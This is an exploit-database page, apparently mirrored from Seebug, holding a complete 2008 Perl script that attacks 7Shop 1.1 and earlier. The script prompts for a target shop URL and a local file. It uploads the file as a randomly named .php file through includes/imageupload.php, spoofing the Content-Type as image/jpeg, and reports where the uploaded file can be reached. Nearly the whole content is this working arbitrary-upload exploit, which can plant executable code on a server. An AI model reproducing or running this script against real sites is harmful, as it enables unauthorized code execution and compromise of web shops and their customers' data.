Lucene search
K

7Shop <= 1.1 Remote Arbitrary File Upload Exploit

🗓️ 30 Oct 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

7Shop <= 1.1 Remote Arbitrary File Upload Exploi

Code

                                                #!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(1000) . &quot;.php&quot;; # int.. yes i know PU!

print &lt;&lt;INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+     7Shop &lt;= 1.1 Remote Arbitrary File Upload     +
+             [Content-Type] -&gt; Spoofing            +
+         Discovered &amp;&amp; Coded By: t0pP8uZz          +
+                                                   +
+        Contact IRC: irc.rizon.net #sectalk        +
+ Vendor not notified! Later versions maybe vuln!   +
+                                                   +
+   Discovered On: 25 October 2008 / milw0rm.com    +
+                                                   +
+          Script Download: http://7shop.de         +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
INTRO

print &quot;\nEnter URL(ie: http://site.com/shop): &quot;;
    chomp(my $url=&lt;STDIN&gt;);
    
print &quot;\nEnter File Path(path to local file to upload): &quot;;
    chomp(my $file=&lt;STDIN&gt;);

my $ua = LWP::UserAgent-&gt;new;
my $re = $ua-&gt;request(POST $url.'/includes/imageupload.php',
                      Content_Type =&gt; 'form-data',
                      Content      =&gt; [ img1 =&gt; [ $file, $fname, Content_Type =&gt; 'image/jpeg' ], ] );

die &quot;HTTP POST Failed!&quot; unless $re-&gt;is_success;

if($re-&gt;content =~ /File is valid/) {
    
    print &quot;File successfully uploaded! Access your file here: &quot; . $url . &quot;/images/artikel/&quot; . $fname . &quot;\n&quot;; # say()? nah you havent got perl510 yet. have you!
}
elsif($re-&gt;content =~ /The requested URL/) { # apache debug only
    
    print &quot;File Upload Failed! The requested target was not running a vulnerable version of 7shop!\n&quot;;
}
else {
    
    print &quot;File Upload Failed! target vulnerable, but upload failed.. try changing filename.\n&quot;;
}
exit;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation